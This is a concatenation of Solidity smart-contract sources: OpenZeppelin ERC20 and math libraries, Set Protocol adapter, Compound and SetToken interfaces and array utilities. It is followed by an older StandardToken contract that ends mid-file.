* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow
* checks.
*
* Downcasting from uint256/int256 in Solidity does not revert on overflow. This can
* easily result in undesired exploitation or bugs, since developers usually
* assume that overflows raise errors. `SafeCast` restores this intuition by
* reverting the transaction when such an operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*
* Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing
* all math on `uint256` and `int256` and then downcasting.
*/
library SafeCast {
/**
* @dev Returns the downcasted uint128 from uint256, reverting on
* overflow (when the input is greater than largest uint128).
*
* Counterpart to Solidity's `uint128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*/
function toUint128(uint256 value) internal pure returns (uint128) {
require(value < 2**128, "SafeCast: value doesn\'t fit in 128 bits");
return uint128(value);
}
/**
* @dev Returns the downcasted uint64 from uint256, reverting on
* overflow (when the input is greater than largest uint64).
*
* Counterpart to Solidity's `uint64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*/
function toUint64(uint256 value) internal pure returns (uint64) {
require(value < 2**64, "SafeCast: value doesn\'t fit in 64 bits");
return uint64(value);
}
/**
* @dev Returns the downcasted uint32 from uint256, reverting on
* overflow (when the input is greater than largest uint32).
*
* Counterpart to Solidity's `uint32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*/
function toUint32(uint256 value) internal pure returns (uint32) {
require(value < 2**32, "SafeCast: value doesn\'t fit in 32 bits");
return uint32(value);
}
/**
* @dev Returns the downcasted uint16 from uint256, reverting on
* overflow (when the input is greater than largest uint16).
*
* Counterpart to Solidity's `uint16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*/
function toUint16(uint256 value) internal pure returns (uint16) {
require(value < 2**16, "SafeCast: value doesn\'t fit in 16 bits");
return uint16(value);
}
/**
* @dev Returns the downcasted uint8 from uint256, reverting on
* overflow (when the input is greater than largest uint8).
*
* Counterpart to Solidity's `uint8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*/
function toUint8(uint256 value) internal pure returns (uint8) {
require(value < 2**8, "SafeCast: value doesn\'t fit in 8 bits");
return uint8(value);
}
/**
* @dev Converts a signed int256 into an unsigned uint256.
*
* Requirements:
*
* - input must be greater than or equal to 0.
*/
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
/**
* @dev Returns the downcasted int128 from int256, reverting on
* overflow (when the input is less than smallest int128 or
* greater than largest int128).
*
* Counterpart to Solidity's `int128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*
* _Available since v3.1._
*/
function toInt128(int256 value) internal pure returns (int128) {
require(value >= -2**127 && value < 2**127, "SafeCast: value doesn\'t fit in 128 bits");
return int128(value);
}
/**
* @dev Returns the downcasted int64 from int256, reverting on
* overflow (when the input is less than smallest int64 or
* greater than largest int64).
*
* Counterpart to Solidity's `int64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*
* _Available since v3.1._
*/
function toInt64(int256 value) internal pure returns (int64) {
require(value >= -2**63 && value < 2**63, "SafeCast: value doesn\'t fit in 64 bits");
return int64(value);
}
/**
* @dev Returns the downcasted int32 from int256, reverting on
* overflow (when the input is less than smallest int32 or
* greater than largest int32).
*
* Counterpart to Solidity's `int32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*
* _Available since v3.1._
*/
function toInt32(int256 value) internal pure returns (int32) {
require(value >= -2**31 && value < 2**31, "SafeCast: value doesn\'t fit in 32 bits");
return int32(value);
}
/**
* @dev Returns the downcasted int16 from int256, reverting on
* overflow (when the input is less than smallest int16 or
* greater than largest int16).
*
* Counterpart to Solidity's `int16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*
* _Available since v3.1._
*/
function toInt16(int256 value) internal pure returns (int16) {
require(value >= -2**15 && value < 2**15, "SafeCast: value doesn\'t fit in 16 bits");
return int16(value);
}
/**
* @dev Returns the downcasted int8 from int256, reverting on
* overflow (when the input is less than smallest int8 or
* greater than largest int8).
*
* Counterpart to Solidity's `int8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*
* _Available since v3.1._
*/
function toInt8(int256 value) internal pure returns (int8) {
require(value >= -2**7 && value < 2**7, "SafeCast: value doesn\'t fit in 8 bits");
return int8(value);
}
/**
* @dev Converts an unsigned uint256 into a signed int256.
*
* Requirements:
*
* - input must be less than or equal to maxInt256.
*/
function toInt256(uint256 value) internal pure returns (int256) {
require(value < 2**255, "SafeCast: value doesn't fit in an int256");
return int256(value);
}
}
/*
Copyright 2021 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity 0.6.10;
import { AddressArrayUtils } from "../lib/AddressArrayUtils.sol";
import { IBaseManager } from "../interfaces/IBaseManager.sol";
/**
* @title BaseAdapter
* @author Set Protocol
*
* Abstract class that houses common adapter-related state and functions.
*/
abstract contract BaseAdapter {
using AddressArrayUtils for address[];
/* ============ Events ============ */
event CallerStatusUpdated(address indexed _caller, bool _status);
event AnyoneCallableUpdated(bool indexed _status);
/* ============ Modifiers ============ */
/**
* Throws if the sender is not the SetToken operator
*/
modifier onlyOperator() {
require(msg.sender == manager.operator(), "Must be operator");
_;
}
/**
* Throws if the sender is not the SetToken methodologist
*/
modifier onlyMethodologist() {
require(msg.sender == manager.methodologist(), "Must be methodologist");
_;
}
/**
* Throws if caller is a contract, can be used to stop flash loan and sandwich attacks
*/
modifier onlyEOA() {
require(msg.sender == tx.origin, "Caller must be EOA Address");
_;
}
/**
* Throws if not allowed caller
*/
modifier onlyAllowedCaller(address _caller) {
require(isAllowedCaller(_caller), "Address not permitted to call");
_;
}
/* ============ State Variables ============ */
// Instance of manager contract
IBaseManager public manager;
// Boolean indicating if anyone can call function
bool public anyoneCallable;
// Mapping of addresses allowed to call function
mapping(address => bool) public callAllowList;
/* ============ Constructor ============ */
constructor(IBaseManager _manager) public { manager = _manager; }
/* ============ External Functions ============ */
/**
* OPERATOR ONLY: Toggle ability for passed addresses to call only allowed caller functions
*
* @param _callers Array of caller addresses to toggle status
* @param _statuses Array of statuses for each caller
*/
function updateCallerStatus(address[] calldata _callers, bool[] calldata _statuses) external onlyOperator {
require(_callers.length == _statuses.length, "Array length mismatch");
require(_callers.length > 0, "Array length must be > 0");
require(!_callers.hasDuplicate(), "Cannot duplicate callers");
for (uint256 i = 0; i < _callers.length; i++) {
address caller = _callers[i];
bool status = _statuses[i];
callAllowList[caller] = status;
emit CallerStatusUpdated(caller, status);
}
}
/**
* OPERATOR ONLY: Toggle whether anyone can call function, bypassing the callAllowlist
*
* @param _status Boolean indicating whether to allow anyone call
*/
function updateAnyoneCallable(bool _status) external onlyOperator {
anyoneCallable = _status;
emit AnyoneCallableUpdated(_status);
}
/* ============ Internal Functions ============ */
/**
* Invoke manager to transfer tokens from manager to other contract.
*
* @param _token Token being transferred from manager contract
* @param _amount Amount of token being transferred
*/
function invokeManagerTransfer(address _token, address _destination, uint256 _amount) internal {
bytes memory callData = abi.encodeWithSignature("transfer(address,uint256)", _destination, _amount);
invokeManager(_token, callData);
}
/**
* Invoke call from manager
*
* @param _module Module to interact with
* @param _encoded Encoded byte data
*/
function invokeManager(address _module, bytes memory _encoded) internal {
manager.interactManager(_module, _encoded);
}
/**
* Determine if passed address is allowed to call function. If anyoneCallable set to true anyone can call otherwise needs to be approved.
*
* return bool Boolean indicating if allowed caller
*/
function isAllowedCaller(address _caller) internal view virtual returns (bool) {
return anyoneCallable || callAllowList[_caller];
}
}
pragma solidity 0.6.10;
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @title ICErc20
*
* Interface for interacting with Compound cErc20 tokens (e.g. Dai, USDC)
*/
interface ICErc20 is IERC20 {
function borrowBalanceCurrent(address _account) external returns (uint256);
function borrowBalanceStored(address _account) external view returns (uint256);
function balanceOfUnderlying(address _account) external returns (uint256);
/**
* Calculates the exchange rate from the underlying to the CToken
*
* @notice Accrue interest then return the up-to-date exchange rate
* @return Calculated exchange rate scaled by 1e18
*/
function exchangeRateCurrent() external returns (uint256);
function exchangeRateStored() external view returns (uint256);
function underlying() external view returns (address);
/**
* Sender supplies assets into the market and receives cTokens in exchange
*
* @notice Accrues interest whether or not the operation succeeds, unless reverted
* @param _mintAmount The amount of the underlying asset to supply
* @return uint256 0=success, otherwise a failure
*/
function mint(uint256 _mintAmount) external returns (uint256);
/**
* @notice Sender redeems cTokens in exchange for the underlying asset
* @dev Accrues interest whether or not the operation succeeds, unless reverted
* @param _redeemTokens The number of cTokens to redeem into underlying
* @return uint256 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function redeem(uint256 _redeemTokens) external returns (uint256);
/**
* @notice Sender redeems cTokens in exchange for a specified amount of underlying asset
* @dev Accrues interest whether or not the operation succeeds, unless reverted
* @param _redeemAmount The amount of underlying to redeem
* @return uint256 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function redeemUnderlying(uint256 _redeemAmount) external returns (uint256);
/**
* @notice Sender borrows assets from the protocol to their own address
* @param _borrowAmount The amount of the underlying asset to borrow
* @return uint256 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function borrow(uint256 _borrowAmount) external returns (uint256);
/**
* @notice Sender repays their own borrow
* @param _repayAmount The amount to repay
* @return uint256 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function repayBorrow(uint256 _repayAmount) external returns (uint256);
}
/*
Copyright 2021 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity 0.6.10;
pragma experimental "ABIEncoderV2";
import { ISetToken } from "./ISetToken.sol";
interface IBaseManager {
function setToken() external returns(ISetToken);
function methodologist() external returns(address);
function operator() external returns(address);
function interactManager(address _module, bytes calldata _encoded) external;
}
pragma solidity 0.6.10;
interface IChainlinkAggregatorV3 {
function latestAnswer() external view returns (int256);
}
pragma solidity 0.6.10;
/**
* @title IComptroller
*
* Interface for interacting with Compound Comptroller
*/
interface IComptroller {
/**
* @notice Add assets to be included in account liquidity calculation
* @param cTokens The list of addresses of the cToken markets to be enabled
* @return Success indicator for whether each corresponding market was entered
*/
function enterMarkets(address[] memory cTokens) external returns (uint256[] memory);
/**
* @notice Removes asset from sender's account liquidity calculation
* @dev Sender must not have an outstanding borrow balance in the asset,
* or be providing neccessary collateral for an outstanding borrow.
* @param cTokenAddress The address of the asset to be removed
* @return Whether or not the account successfully exited the market
*/
function exitMarket(address cTokenAddress) external returns (uint256);
function claimComp(address holder) external;
function markets(address cTokenAddress) external view returns (bool, uint256, bool);
}
pragma solidity 0.6.10;
pragma experimental "ABIEncoderV2";
import { ISetToken } from "./ISetToken.sol";
interface ICompoundLeverageModule {
function sync(
ISetToken _setToken
) external;
function lever(
ISetToken _setToken,
address _borrowAsset,
address _collateralAsset,
uint256 _borrowQuantity,
uint256 _minReceiveQuantity,
string memory _tradeAdapterName,
bytes memory _tradeData
) external;
function delever(
ISetToken _setToken,
address _collateralAsset,
address _repayAsset,
uint256 _redeemQuantity,
uint256 _minRepayQuantity,
string memory _tradeAdapterName,
bytes memory _tradeData
) external;
function gulp(
ISetToken _setToken,
address _collateralAsset,
uint256 _minNotionalReceiveQuantity,
string memory _tradeAdapterName,
bytes memory _tradeData
) external;
}
pragma solidity 0.6.10;
/**
* @title ICompoundPriceOracle
*
* Interface for interacting with Compound price oracle
*/
interface ICompoundPriceOracle {
function getUnderlyingPrice(address _asset) external view returns(uint256);
}
pragma solidity 0.6.10;
pragma experimental "ABIEncoderV2";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @title ISetToken
* @author Set Protocol
*
* Interface for operating with SetTokens.
*/
interface ISetToken is IERC20 {
/* ============ Enums ============ */
enum ModuleState {
NONE,
PENDING,
INITIALIZED
}
/* ============ Structs ============ */
/**
* The base definition of a SetToken Position
*
* @param component Address of token in the Position
* @param module If not in default state, the address of associated module
* @param unit Each unit is the # of components per 10^18 of a SetToken
* @param positionState Position ENUM. Default is 0; External is 1
* @param data Arbitrary data
*/
struct Position {
address component;
address module;
int256 unit;
uint8 positionState;
bytes data;
}
/**
* A struct that stores a component's cash position details and external positions
* This data structure allows O(1) access to a component's cash position units and
* virtual units.
*
* @param virtualUnit Virtual value of a component's DEFAULT position. Stored as virtual for efficiency
* updating all units at once via the position multiplier. Virtual units are achieved
* by dividing a "real" value by the "positionMultiplier"
* @param componentIndex
* @param externalPositionModules List of external modules attached to each external position. Each module
* maps to an external position
* @param externalPositions Mapping of module => ExternalPosition struct for a given component
*/
struct ComponentPosition {
int256 virtualUnit;
address[] externalPositionModules;
mapping(address => ExternalPosition) externalPositions;
}
/**
* A struct that stores a component's external position details including virtual unit and any
* auxiliary data.
*
* @param virtualUnit Virtual value of a component's EXTERNAL position.
* @param data Arbitrary data
*/
struct ExternalPosition {
int256 virtualUnit;
bytes data;
}
/* ============ Functions ============ */
function addComponent(address _component) external;
function removeComponent(address _component) external;
function editDefaultPositionUnit(address _component, int256 _realUnit) external;
function addExternalPositionModule(address _component, address _positionModule) external;
function removeExternalPositionModule(address _component, address _positionModule) external;
function editExternalPositionUnit(address _component, address _positionModule, int256 _realUnit) external;
function editExternalPositionData(address _component, address _positionModule, bytes calldata _data) external;
function invoke(address _target, uint256 _value, bytes calldata _data) external returns(bytes memory);
function editPositionMultiplier(int256 _newMultiplier) external;
function mint(address _account, uint256 _quantity) external;
function burn(address _account, uint256 _quantity) external;
function lock() external;
function unlock() external;
function addModule(address _module) external;
function removeModule(address _module) external;
function initializeModule() external;
function setManager(address _manager) external;
function manager() external view returns (address);
function moduleStates(address _module) external view returns (ModuleState);
function getModules() external view returns (address[] memory);
function getDefaultPositionRealUnit(address _component) external view returns(int256);
function getExternalPositionRealUnit(address _component, address _positionModule) external view returns(int256);
function getComponents() external view returns(address[] memory);
function getExternalPositionModules(address _component) external view returns(address[] memory);
function getExternalPositionData(address _component, address _positionModule) external view returns(bytes memory);
function isExternalPositionModule(address _component, address _module) external view returns(bool);
function isComponent(address _component) external view returns(bool);
function positionMultiplier() external view returns (int256);
function getPositions() external view returns (Position[] memory);
function getTotalComponentRealUnits(address _component) external view returns(int256);
function isInitializedModule(address _module) external view returns(bool);
function isPendingModule(address _module) external view returns(bool);
function isLocked() external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/*
Copyright 2020 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
SPDX-License-Identifier: Apache License, Version 2.0
*/
pragma solidity 0.6.10;
/**
* @title AddressArrayUtils
* @author Set Protocol
*
* Utility functions to handle Address Arrays
*
* CHANGELOG:
* - 4/27/21: Added validatePairsWithArray methods
*/
library AddressArrayUtils {
/**
* Finds the index of the first occurrence of the given element.
* @param A The input array to search
* @param a The value to find
* @return Returns (index and isIn) for the first occurrence starting from index 0
*/
function indexOf(address[] memory A, address a) internal pure returns (uint256, bool) {
uint256 length = A.length;
for (uint256 i = 0; i < length; i++) {
if (A[i] == a) {
return (i, true);
}
}
return (uint256(-1), false);
}
/**
* Returns true if the value is present in the list. Uses indexOf internally.
* @param A The input array to search
* @param a The value to find
* @return Returns isIn for the first occurrence starting from index 0
*/
function contains(address[] memory A, address a) internal pure returns (bool) {
(, bool isIn) = indexOf(A, a);
return isIn;
}
/**
* Returns true if there are 2 elements that are the same in an array
* @param A The input array to search
* @return Returns boolean for the first occurrence of a duplicate
*/
function hasDuplicate(address[] memory A) internal pure returns(bool) {
require(A.length > 0, "A is empty");
for (uint256 i = 0; i < A.length - 1; i++) {
address current = A[i];
for (uint256 j = i + 1; j < A.length; j++) {
if (current == A[j]) {
return true;
}
}
}
return false;
}
/**
* @param A The input array to search
* @param a The address to remove
* @return Returns the array with the object removed.
*/
function remove(address[] memory A, address a)
internal
pure
returns (address[] memory)
{
(uint256 index, bool isIn) = indexOf(A, a);
if (!isIn) {
revert("Address not in array.");
} else {
(address[] memory _A,) = pop(A, index);
return _A;
}
}
/**
* @param A The input array to search
* @param a The address to remove
*/
function removeStorage(address[] storage A, address a)
internal
{
(uint256 index, bool isIn) = indexOf(A, a);
if (!isIn) {
revert("Address not in array.");
} else {
uint256 lastIndex = A.length - 1; // If the array would be empty, the previous line would throw, so no underflow here
if (index != lastIndex) { A[index] = A[lastIndex]; }
A.pop();
}
}
/**
* Removes specified index from array
* @param A The input array to search
* @param index The index to remove
* @return Returns the new array and the removed entry
*/
function pop(address[] memory A, uint256 index)
internal
pure
returns (address[] memory, address)
{
uint256 length = A.length;
require(index < A.length, "Index must be < A length");
address[] memory newAddresses = new address[](length - 1);
for (uint256 i = 0; i < index; i++) {
newAddresses[i] = A[i];
}
for (uint256 j = index + 1; j < length; j++) {
newAddresses[j - 1] = A[j];
}
return (newAddresses, A[index]);
}
/**
* Returns the combination of the two arrays
* @param A The first array
* @param B The second array
* @return Returns A extended by B
*/
function extend(address[] memory A, address[] memory B) internal pure returns (address[] memory) {
uint256 aLength = A.length;
uint256 bLength = B.length;
address[] memory newAddresses = new address[](aLength + bLength);
for (uint256 i = 0; i < aLength; i++) {
newAddresses[i] = A[i];
}
for (uint256 j = 0; j < bLength; j++) {
newAddresses[aLength + j] = B[j];
}
return newAddresses;
}
/**
* Validate that address and uint array lengths match. Validate address array is not empty
* and contains no duplicate elements.
*
* @param A Array of addresses
* @param B Array of uint
*/
function validatePairsWithArray(address[] memory A, uint[] memory B) internal pure {
require(A.length == B.length, "Array length mismatch");
_validateLengthAndUniqueness(A);
}
/**
* Validate that address and bool array lengths match. Validate address array is not empty
* and contains no duplicate elements.
*
* @param A Array of addresses
* @param B Array of bool
*/
function validatePairsWithArray(address[] memory A, bool[] memory B) internal pure {
require(A.length == B.length, "Array length mismatch");
_validateLengthAndUniqueness(A);
}
/**
* Validate that address and string array lengths match. Validate address array is not empty
* and contains no duplicate elements.
*
* @param A Array of addresses
* @param B Array of strings
*/
function validatePairsWithArray(address[] memory A, string[] memory B) internal pure {
require(A.length == B.length, "Array length mismatch");
_validateLengthAndUniqueness(A);
}
/**
* Validate that address array lengths match, and calling address array are not empty
* and contain no duplicate elements.
*
* @param A Array of addresses
* @param B Array of addresses
*/
function validatePairsWithArray(address[] memory A, address[] memory B) internal pure {
require(A.length == B.length, "Array length mismatch");
_validateLengthAndUniqueness(A);
}
/**
* Validate that address and bytes array lengths match. Validate address array is not empty
* and contains no duplicate elements.
*
* @param A Array of addresses
* @param B Array of bytes
*/
function validatePairsWithArray(address[] memory A, bytes[] memory B) internal pure {
require(A.length == B.length, "Array length mismatch");
_validateLengthAndUniqueness(A);
}
/**
* Validate address array is not empty and contains no duplicate elements.
*
* @param A Array of addresses
*/
function _validateLengthAndUniqueness(address[] memory A) internal pure {
require(A.length > 0, "Array length must be > 0");
require(!hasDuplicate(A), "Cannot duplicate addresses");
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @title SignedSafeMath
* @dev Signed math operations with safety checks that revert on error.
*/
library SignedSafeMath {
int256 constant private _INT256_MIN = -2**255;
/**
* @dev Returns the multiplication of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
require(!(a == -1 && b == _INT256_MIN), "SignedSafeMath: multiplication overflow");
int256 c = a * b;
require(c / a == b, "SignedSafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two signed integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != 0, "SignedSafeMath: division by zero");
require(!(b == -1 && a == _INT256_MIN), "SignedSafeMath: division overflow");
int256 c = a / b;
return c;
}
/**
* @dev Returns the subtraction of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a), "SignedSafeMath: subtraction overflow");
return c;
}
/**
* @dev Returns the addition of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a), "SignedSafeMath: addition overflow");
return c;
}
}
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]
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|
pragma solidity ^0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
